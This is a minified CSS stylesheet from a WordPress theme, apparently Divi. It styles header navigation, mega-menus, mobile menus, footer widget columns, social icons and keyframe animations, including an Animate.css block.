.et-cart-info{float:left;margin:-2px 0 0 22px;font-size:16px}#et-top-navigation{float:right}#top-menu li li{padding:0 20px;margin:0}#top-menu li li a{padding:6px 20px;width:200px}.nav li.et-touch-hover>ul{opacity:1;visibility:visible}#top-menu .menu-item-has-children>a:first-child:after,#et-secondary-nav .menu-item-has-children>a:first-child:after{font-family:'ETmodules';content:"3";font-size:16px;position:absolute;right:0;top:0;font-weight:800}#top-menu .menu-item-has-children>a:first-child,#et-secondary-nav .menu-item-has-children>a:first-child{padding-right:20px}#top-menu li .menu-item-has-children>a:first-child{padding-right:40px}#top-menu li .menu-item-has-children>a:first-child:after{right:20px;top:6px}#top-menu li.mega-menu{position:inherit}#top-menu li.mega-menu>ul{padding:30px 20px;position:absolute !important;width:100%;left:0 !important}#top-menu li.mega-menu ul li{margin:0;float:left !important;display:block !important;padding:0 !important}#top-menu li.mega-menu>ul>li:nth-of-type(4n){clear:right}#top-menu li.mega-menu>ul>li:nth-of-type(4n+1){clear:left}#top-menu li.mega-menu ul li li{width:100%}#top-menu li.mega-menu li>ul{-webkit-animation:none !important;animation:none !important;padding:0px;border:none;left:auto;top:auto;width:90% !important;position:relative;-webkit-box-shadow:none;box-shadow:none}#top-menu li.mega-menu li ul{visibility:visible;opacity:1;display:none}#top-menu li.mega-menu.et-hover li ul{display:block}#top-menu li.mega-menu.et-hover>ul{opacity:1 !important;visibility:visible !important}#top-menu li.mega-menu>ul>li>a{width:90%;padding:0 20px 10px}#top-menu li.mega-menu>ul>li>a:first-child{padding-top:0 !important;font-weight:bold;border-bottom:1px solid rgba(0,0,0,0.03)}#top-menu li.mega-menu>ul>li>a:first-child:hover{background-color:transparent !important}#top-menu li.mega-menu li>a{width:100%}#top-menu li.mega-menu.mega-menu-parent li li,#top-menu li.mega-menu.mega-menu-parent li>a{width:100% !important}#top-menu li.mega-menu.mega-menu-parent li>.sub-menu{float:left;width:100% !important}#top-menu li.mega-menu>ul>li{width:25%;margin:0}#top-menu li.mega-menu.mega-menu-parent-3>ul>li{width:33.33%}#top-menu li.mega-menu.mega-menu-parent-2>ul>li{width:50%}#top-menu li.mega-menu.mega-menu-parent-1>ul>li{width:100%}#top-menu li.mega-menu .menu-item-has-children>a:first-child:after{display:none}#top-menu li.mega-menu>ul>li>ul>li{width:100%;margin:0}#et_mobile_nav_menu{float:right;display:none}.mobile_menu_bar{position:relative;display:block;line-height:0}.mobile_menu_bar:before,.et_toggle_slide_menu:after{content:"\61";font-size:32px;left:0;position:relative;top:0;cursor:pointer}.mobile_nav .select_page{display:none}.et_pb_menu_hidden #top-menu,.et_pb_menu_hidden #et_search_icon:before,.et_pb_menu_hidden .et-cart-info{opacity:0;-webkit-animation:fadeOutBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1);animation:fadeOutBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1)}.et_pb_menu_visible #top-menu,.et_pb_menu_visible #et_search_icon:before,.et_pb_menu_visible .et-cart-info{z-index:99;opacity:1;-webkit-animation:fadeInBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1);animation:fadeInBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1)}.et_pb_menu_hidden #top-menu,.et_pb_menu_hidden #et_search_icon:before,.et_pb_menu_hidden .mobile_menu_bar{opacity:0;-webkit-animation:fadeOutBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1);animation:fadeOutBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1)}.et_pb_menu_visible #top-menu,.et_pb_menu_visible #et_search_icon:before,.et_pb_menu_visible .mobile_menu_bar{z-index:99;opacity:1;-webkit-animation:fadeInBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1);animation:fadeInBottom 1s 1 cubic-bezier(0.77, 0, 0.175, 1)}.et_pb_no_animation #top-menu,.et_pb_no_animation #et_search_icon:before,.et_pb_no_animation .mobile_menu_bar,.et_pb_no_animation.et_search_form_container{animation:none !important;-o-animation:none !important;-webkit-animation:none !important;-moz-animation:none !important}body.admin-bar.et_fixed_nav #main-header{top:32px}body.et-wp-pre-3_8.admin-bar.et_fixed_nav #main-header{top:28px}body.et_fixed_nav.et_secondary_nav_enabled #main-header{top:30px}body.admin-bar.et_fixed_nav.et_secondary_nav_enabled #main-header{top:63px}@media all and (min-width: 981px){.et_hide_primary_logo #main-header:not(.et-fixed-header) .logo_container,.et_hide_fixed_logo #main-header.et-fixed-header .logo_container{height:0;opacity:0;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}.et_hide_primary_logo #main-header:not(.et-fixed-header) .centered-inline-logo-wrap,.et_hide_fixed_logo #main-header.et-fixed-header .centered-inline-logo-wrap{height:0;opacity:0;padding:0}.et-animated-content#page-container{-webkit-transition:margin-top 0.4s ease-in-out;transition:margin-top 0.4s ease-in-out}.et_hide_nav #page-container{-webkit-transition:none;transition:none}.et_fullwidth_nav .et-search-form,.et_fullwidth_nav .et_close_search_field{right:30px}#main-header.et-fixed-header{-webkit-box-shadow:0 0 7px rgba(0,0,0,0.1) !important;box-shadow:0 0 7px rgba(0,0,0,0.1) !important}.et_header_style_left .et-fixed-header #et-top-navigation{padding-top:20px}.et_header_style_left .et-fixed-header #et-top-navigation nav>ul>li>a{padding-bottom:20px}.et_hide_nav.et_fixed_nav #main-header{opacity:0}.et_hide_nav.et_fixed_nav .et-fixed-header#main-header{-webkit-transform:translateY(0px) !important;transform:translateY(0px) !important;opacity:1}.et_hide_nav .centered-inline-logo-wrap,.et_hide_nav.et_fixed_nav #main-header,.et_hide_nav.et_fixed_nav #main-header,.et_hide_nav .centered-inline-logo-wrap{-webkit-transition-duration:.7s;transition-duration:.7s}.et_hide_nav #page-container{padding-top:0 !important}.et_primary_nav_dropdown_animation_fade #et-top-navigation ul li:hover>ul,.et_secondary_nav_dropdown_animation_fade #et-secondary-nav li:hover>ul{-webkit-transition:all .2s ease-in-out;transition:all .2s ease-in-out}.et_primary_nav_dropdown_animation_slide #et-top-navigation ul li:hover>ul,.et_secondary_nav_dropdown_animation_slide #et-secondary-nav li:hover>ul{-webkit-animation:fadeLeft .4s ease-in-out;animation:fadeLeft .4s ease-in-out}.et_primary_nav_dropdown_animation_expand #et-top-navigation ul li:hover>ul,.et_secondary_nav_dropdown_animation_expand #et-secondary-nav li:hover>ul{-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-animation:Grow .4s ease-in-out;animation:Grow .4s ease-in-out;-webkit-backface-visibility:visible !important;backface-visibility:visible !important}.et_primary_nav_dropdown_animation_flip #et-top-navigation ul li ul li:hover>ul,.et_secondary_nav_dropdown_animation_flip #et-secondary-nav ul li:hover>ul{-webkit-animation:flipInX .6s ease-in-out;animation:flipInX .6s ease-in-out;-webkit-backface-visibility:visible !important;backface-visibility:visible !important}.et_primary_nav_dropdown_animation_flip #et-top-navigation ul li:hover>ul,.et_secondary_nav_dropdown_animation_flip #et-secondary-nav li:hover>ul{-webkit-animation:flipInY .6s ease-in-out;animation:flipInY .6s ease-in-out;-webkit-backface-visibility:visible !important;backface-visibility:visible !important}.et_fullwidth_nav #main-header .container{width:100%;max-width:100%;padding-right:32px;padding-left:30px}.et_non_fixed_nav.et_fullwidth_nav.et_header_style_left #main-header .container{padding-left:0}.et_non_fixed_nav.et_fullwidth_nav.et_header_style_left .logo_container{padding-left:30px}}@media all and (max-width: 980px){.et_fixed_nav.et_show_nav.et_secondary_nav_enabled #page-container,.et_fixed_nav.et_show_nav #page-container{padding-top:80px}.et_fixed_nav.et_show_nav.et-tb #page-container,.et_fixed_nav.et_show_nav.et-tb-has-header #page-container{padding-top:0 !important}.et_non_fixed_nav #page-container{padding-top:0}.et_fixed_nav.et_secondary_nav_only_menu.admin-bar #main-header{top:32px !important}.et_hide_mobile_logo #main-header .logo_container{display:none;opacity:0;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}#top-menu{display:none}.et_hide_nav.et_fixed_nav #main-header{-webkit-transform:translateY(0px) !important;transform:translateY(0px) !important;opacity:1}#et-top-navigation{margin-right:0;-webkit-transition:none;transition:none}.et_fixed_nav #main-header{position:absolute}.et_header_style_left .et-fixed-header #et-top-navigation,.et_header_style_left #et-top-navigation{padding-top:24px;display:block}.et_fixed_nav #main-header{-webkit-transition:none;transition:none}.et_fixed_nav_temp #main-header{top:0 !important}#logo,.logo_container,#main-header,.container{-webkit-transition:none;transition:none}.et_header_style_left #logo{max-width:50%}#et_top_search{margin:0 35px 0 0;float:left}#et_search_icon:before{top:7px}.et_header_style_left .et-search-form{width:50% !important;max-width:50% !important}#et_mobile_nav_menu{display:block}#et-top-navigation .et-cart-info{margin-top:5px}}@media screen and (max-width: 782px){body.admin-bar.et_fixed_nav #main-header{top:46px}}@media all and (max-width: 767px){#et-top-navigation{margin-right:0}body.admin-bar.et_fixed_nav #main-header{top:46px}}@media all and (max-width: 479px){#et-top-navigation{margin-right:0}}@media print{#top-header,#main-header{position:relative !important;top:auto !important;right:auto !important;bottom:auto !important;left:auto !important}}
@-webkit-keyframes fadeOutTop{0%{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}to{opacity:0;-webkit-transform:translatey(-60%);transform:translatey(-60%)}}@keyframes fadeOutTop{0%{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}to{opacity:0;-webkit-transform:translatey(-60%);transform:translatey(-60%)}}@-webkit-keyframes fadeInTop{0%{opacity:0;-webkit-transform:translatey(-60%);transform:translatey(-60%)}to{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}}@keyframes fadeInTop{0%{opacity:0;-webkit-transform:translatey(-60%);transform:translatey(-60%)}to{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}}@-webkit-keyframes fadeInBottom{0%{opacity:0;-webkit-transform:translatey(60%);transform:translatey(60%)}to{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}}@keyframes fadeInBottom{0%{opacity:0;-webkit-transform:translatey(60%);transform:translatey(60%)}to{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}}@-webkit-keyframes fadeOutBottom{0%{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}to{opacity:0;-webkit-transform:translatey(60%);transform:translatey(60%)}}@keyframes fadeOutBottom{0%{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}to{opacity:0;-webkit-transform:translatey(60%);transform:translatey(60%)}}@-webkit-keyframes Grow{0%{opacity:0;-webkit-transform:scaleY(.5);transform:scaleY(.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes Grow{0%{opacity:0;-webkit-transform:scaleY(.5);transform:scaleY(.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}/*!
	  * Animate.css - http://daneden.me/animate
	  * Licensed under the MIT license - http://opensource.org/licenses/MIT
	  * Copyright (c) 2015 Daniel Eden
	 */@-webkit-keyframes flipInX{0%{-webkit-transform:perspective(400px) rotateX(90deg);transform:perspective(400px) rotateX(90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotateX(-20deg);transform:perspective(400px) rotateX(-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotateX(10deg);transform:perspective(400px) rotateX(10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotateX(-5deg);transform:perspective(400px) rotateX(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@keyframes flipInX{0%{-webkit-transform:perspective(400px) rotateX(90deg);transform:perspective(400px) rotateX(90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotateX(-20deg);transform:perspective(400px) rotateX(-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotateX(10deg);transform:perspective(400px) rotateX(10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotateX(-5deg);transform:perspective(400px) rotateX(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@-webkit-keyframes flipInY{0%{-webkit-transform:perspective(400px) rotateY(90deg);transform:perspective(400px) rotateY(90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotateY(-20deg);transform:perspective(400px) rotateY(-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotateY(10deg);transform:perspective(400px) rotateY(10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotateY(-5deg);transform:perspective(400px) rotateY(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@keyframes flipInY{0%{-webkit-transform:perspective(400px) rotateY(90deg);transform:perspective(400px) rotateY(90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotateY(-20deg);transform:perspective(400px) rotateY(-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotateY(10deg);transform:perspective(400px) rotateY(10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotateY(-5deg);transform:perspective(400px) rotateY(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}
#main-header{line-height:23px;font-weight:500;top:0;background-color:#fff;width:100%;-webkit-box-shadow:0 1px 0 rgba(0,0,0,.1);box-shadow:0 1px 0 rgba(0,0,0,.1);position:relative;z-index:99999}.nav li li{padding:0 20px;margin:0}.et-menu li li a{padding:6px 20px;width:200px}.nav li{position:relative;line-height:1em}.nav li li{position:relative;line-height:2em}.nav li ul{position:absolute;padding:20px 0;z-index:9999;width:240px;background:#fff;visibility:hidden;opacity:0;border-top:3px solid #2ea3f2;box-shadow:0 2px 5px rgba(0,0,0,.1);-moz-box-shadow:0 2px 5px rgba(0,0,0,.1);-webkit-box-shadow:0 2px 5px rgba(0,0,0,.1);-webkit-transform:translateZ(0);text-align:left}.nav li.et-hover>ul{visibility:visible}.nav li.et-touch-hover>ul,.nav li:hover>ul{opacity:1;visibility:visible}.nav li li ul{z-index:1000;top:-23px;left:240px}.nav li.et-reverse-direction-nav li ul{left:auto;right:240px}.nav li:hover{visibility:inherit}.et_mobile_menu li a,.nav li li a{font-size:14px;-webkit-transition:opacity .2s ease-in-out,background-color .2s ease-in-out;transition:opacity .2s ease-in-out,background-color .2s ease-in-out}.et_mobile_menu li a:hover,.nav ul li a:hover{background-color:rgba(0,0,0,.03);opacity:.7}.et-dropdown-removing>ul{display:none}.mega-menu .et-dropdown-removing>ul{display:block}.et-menu .menu-item-has-children>a:first-child:after{font-family:ETmodules;content:"3";font-size:16px;position:absolute;right:0;top:0;font-weight:800}.et-menu .menu-item-has-children>a:first-child{padding-right:20px}.et-menu li li.menu-item-has-children>a:first-child:after{right:20px;top:6px}.et-menu-nav li.mega-menu{position:inherit}.et-menu-nav li.mega-menu>ul{padding:30px 20px;position:absolute!important;width:100%;left:0!important}.et-menu-nav li.mega-menu ul li{margin:0;float:left!important;display:block!important;padding:0!important}.et-menu-nav li.mega-menu li>ul{-webkit-animation:none!important;animation:none!important;padding:0;border:none;left:auto;top:auto;width:240px!important;position:relative;box-shadow:none;-webkit-box-shadow:none}.et-menu-nav li.mega-menu li ul{visibility:visible;opacity:1;display:none}.et-menu-nav li.mega-menu.et-hover li ul,.et-menu-nav li.mega-menu:hover li ul{display:block}.et-menu-nav li.mega-menu:hover>ul{opacity:1!important;visibility:visible!important}.et-menu-nav li.mega-menu>ul>li>a:first-child{padding-top:0!important;font-weight:700;border-bottom:1px solid rgba(0,0,0,.03)}.et-menu-nav li.mega-menu>ul>li>a:first-child:hover{background-color:transparent!important}.et-menu-nav li.mega-menu li>a{width:200px!important}.et-menu-nav li.mega-menu.mega-menu-parent li>a,.et-menu-nav li.mega-menu.mega-menu-parent li li{width:100%!important}.et-menu-nav li.mega-menu.mega-menu-parent li>.sub-menu{float:left;width:100%!important}.et-menu-nav li.mega-menu>ul>li{width:25%;margin:0}.et-menu-nav li.mega-menu.mega-menu-parent-3>ul>li{width:33.33%}.et-menu-nav li.mega-menu.mega-menu-parent-2>ul>li{width:50%}.et-menu-nav li.mega-menu.mega-menu-parent-1>ul>li{width:100%}.et_pb_fullwidth_menu li.mega-menu .menu-item-has-children>a:first-child:after,.et_pb_menu li.mega-menu .menu-item-has-children>a:first-child:after{display:none}.et_fullwidth_nav #top-menu li.mega-menu>ul{width:auto;left:30px!important;right:30px!important}.et_mobile_menu{position:absolute;left:0;padding:5%;background:#fff;width:100%;visibility:visible;opacity:1;display:none;z-index:9999;border-top:3px solid #2ea3f2;box-shadow:0 2px 5px rgba(0,0,0,.1);-moz-box-shadow:0 2px 5px rgba(0,0,0,.1);-webkit-box-shadow:0 2px 5px rgba(0,0,0,.1)}#main-header .et_mobile_menu li ul,.et_pb_fullwidth_menu .et_mobile_menu li ul,.et_pb_menu .et_mobile_menu li ul{visibility:visible!important;display:block!important;padding-left:10px}.et_mobile_menu li li{padding-left:5%}.et_mobile_menu li a{border-bottom:1px solid rgba(0,0,0,.03);color:#666;padding:10px 5%;display:block}.et_mobile_menu .menu-item-has-children>a{font-weight:700;background-color:rgba(0,0,0,.03)}.et_mobile_menu li .menu-item-has-children>a{background-color:transparent}.et_mobile_nav_menu{float:right;display:none}.mobile_menu_bar{position:relative;display:block;line-height:0}.mobile_menu_bar:before{content:"a";font-size:32px;position:relative;left:0;top:0;cursor:pointer}.et_pb_module .mobile_menu_bar:before{top:2px}.mobile_nav .select_page{display:none}
.footer-widget h4,#main-footer .widget_block h1,#main-footer .widget_block h2,#main-footer .widget_block h3,#main-footer .widget_block h4,#main-footer .widget_block h5,#main-footer .widget_block h6{color:#2EA3F2}.footer-widget li:before{border-color:#2EA3F2}.bottom-nav li.current-menu-item>a{color:#2EA3F2}#main-footer{background-color:#222222}#footer-widgets{padding:6% 0 0}.footer-widget{float:left;color:#fff}.last{margin-right:0}.footer-widget .fwidget:last-child{margin-bottom:0 !important}#footer-widgets .footer-widget li{padding-left:14px;position:relative}#footer-widgets .footer-widget li:before{border-radius:3px;border-style:solid;border-width:3px;content:"";left:0;position:absolute;top:9px}#footer-widgets .footer-widget a{color:#fff}#footer-widgets .footer-widget li a{color:#fff;text-decoration:none}#footer-widgets .footer-widget li a:hover{color:rgba(255,255,255,0.7)}.footer-widget .widget_adsensewidget ins{min-width:160px}#footer-bottom{background-color:#1f1f1f;background-color:rgba(0,0,0,0.32);padding:15px 0 5px}#footer-bottom a{-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}#footer-info{text-align:left;color:#666;padding-bottom:10px;float:left}#footer-info a{font-weight:700;color:#666}#footer-info a:hover{opacity:.7}#et-footer-nav{background-color:rgba(255,255,255,0.05)}.bottom-nav{padding:15px 0}.bottom-nav li{font-weight:600;display:inline-block;font-size:14px;padding-right:22px}.bottom-nav a{color:#bbb;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}.bottom-nav a:hover{opacity:.7}@media all and (max-width: 980px){.footer-widget:nth-child(n){width:46.25% !important;margin:0 7.5% 7.5% 0 !important}.et_pb_footer_columns1 .footer-widget{width:100% !important;margin:0 7.5% 7.5% 0 !important}#footer-widgets .footer-widget .fwidget{margin-bottom:16.21%}.et_pb_gutters1 .footer-widget:nth-child(n){width:50% !important;margin:0 !important}.et_pb_gutters1 #footer-widgets .footer-widget .fwidget{margin-bottom:0}#footer-widgets{padding:8% 0}#footer-widgets .footer-widget:nth-child(2n){margin-right:0 !important}#footer-widgets .footer-widget:nth-last-child(-n+2){margin-bottom:0 !important}.bottom-nav{text-align:center}#footer-info{float:none;text-align:center}}@media all and (max-width: 767px){#footer-widgets .footer-widget,.et_pb_gutters1 #footer-widgets .footer-widget{width:100% !important;margin-right:0 !important}#footer-widgets .footer-widget:nth-child(n),#footer-widgets .footer-widget .fwidget{margin-bottom:9.5% !important}.et_pb_gutters1 #footer-widgets .footer-widget:nth-child(n),.et_pb_gutters1 #footer-widgets .footer-widget .fwidget{margin-bottom:0 !important}#footer-widgets{padding:10% 0}#footer-widgets .footer-widget .fwidget:last-child{margin-bottom:0 !important}#footer-widgets .footer-widget:last-child{margin-bottom:0 !important}}@media all and (max-width: 479px){#footer-widgets .footer-widget:nth-child(n),.footer-widget .fwidget{margin-bottom:11.5% !important}#footer-widgets .footer-widget.last{margin-bottom:0 !important}.et_pb_gutters1 #footer-widgets .footer-widget:nth-child(n),.et_pb_gutters1 #footer-widgets .footer-widget .fwidget{margin-bottom:0 !important}#footer-widgets{padding:12% 0}}
@media all and (min-width: 981px){.et_pb_gutters3 .footer-widget{margin-right:5.5%;margin-bottom:5.5%}.et_pb_gutters3 .footer-widget:last-child{margin-right:0}.et_pb_gutters3.et_pb_footer_columns6 .footer-widget{width:12.083%}.et_pb_gutters3.et_pb_footer_columns6 .footer-widget .fwidget{margin-bottom:45.517%}.et_pb_gutters3.et_pb_footer_columns5 .footer-widget{width:15.6%}.et_pb_gutters3.et_pb_footer_columns5 .footer-widget .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns4 .footer-widget{width:20.875%}.et_pb_gutters3.et_pb_footer_columns4 .footer-widget .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns3 .footer-widget{width:29.667%}.et_pb_gutters3.et_pb_footer_columns3 .footer-widget .fwidget{margin-bottom:18.539%}.et_pb_gutters3.et_pb_footer_columns2 .footer-widget{width:47.25%}.et_pb_gutters3.et_pb_footer_columns2 .footer-widget .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns1 .footer-widget{width:100%}.et_pb_gutters3.et_pb_footer_columns1 .footer-widget .fwidget{margin-bottom:5.5%}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(1){width:73.625%;clear:both}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(1) .fwidget{margin-bottom:7.47%}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(2){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(2) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(1){width:20.875%;clear:both}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(1) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(2){width:73.625%}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(2) .fwidget{margin-bottom:7.47%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(1){width:64.833%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(1) .fwidget{margin-bottom:8.483%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(2){width:29.667%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(2) .fwidget{margin-bottom:18.539%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(1){width:29.667%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(1) .fwidget{margin-bottom:18.539%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(2){width:64.833%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(2) .fwidget{margin-bottom:8.483%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(-n+2){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(-n+2) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(3){width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(3) .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:first-child{width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:first-child .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:nth-child(-n+3):not(:nth-child(1)){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:nth-child(-n+3):not(:nth-child(1)) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(-n+2){width:15.6%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(-n+2) .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(3){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(3) .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:first-child{width:57.8%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:first-child .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:nth-child(-n+3):not(:nth-child(1)){width:15.6%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:nth-child(-n+3):not(:nth-child(1)) .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(1){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(1) .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(2){width:36.7%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(2) .fwidget{margin-bottom:14.986%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(1){width:36.7%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(1) .fwidget{margin-bottom:14.986%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(2){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(2) .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:first-child{width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:first-child .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:nth-child(-n+4):not(:nth-child(1)){width:12.083%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:nth-child(-n+4):not(:nth-child(1)) .fwidget{margin-bottom:45.517%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(-n+3){width:12.083%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(-n+3) .fwidget{margin-bottom:45.517%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(4){width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(4) .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(-n+3):not(:nth-child(2)){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(-n+3):not(:nth-child(2)) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(2){width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(2) .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(-n+3):not(:nth-child(2)){width:15.6%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(-n+3):not(:nth-child(2)) .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(2){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(2) .fwidget{margin-bottom:9.516%}}
.et-social-icons{float:right}.et-social-icons li{display:inline-block;margin-left:20px}.et-social-icon a{display:inline-block;font-size:24px;position:relative;text-align:center;-webkit-transition:color 300ms ease 0s;transition:color 300ms ease 0s;color:#666;text-decoration:none}.et-social-icons a:hover{opacity:0.7;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}.et-social-icon span{display:none}.et_duplicate_social_icons{display:none}@media all and (max-width: 980px){.et-social-icons{float:none;text-align:center}}@media all and (max-width: 980px){.et-social-icons{margin:0 0 5px}}
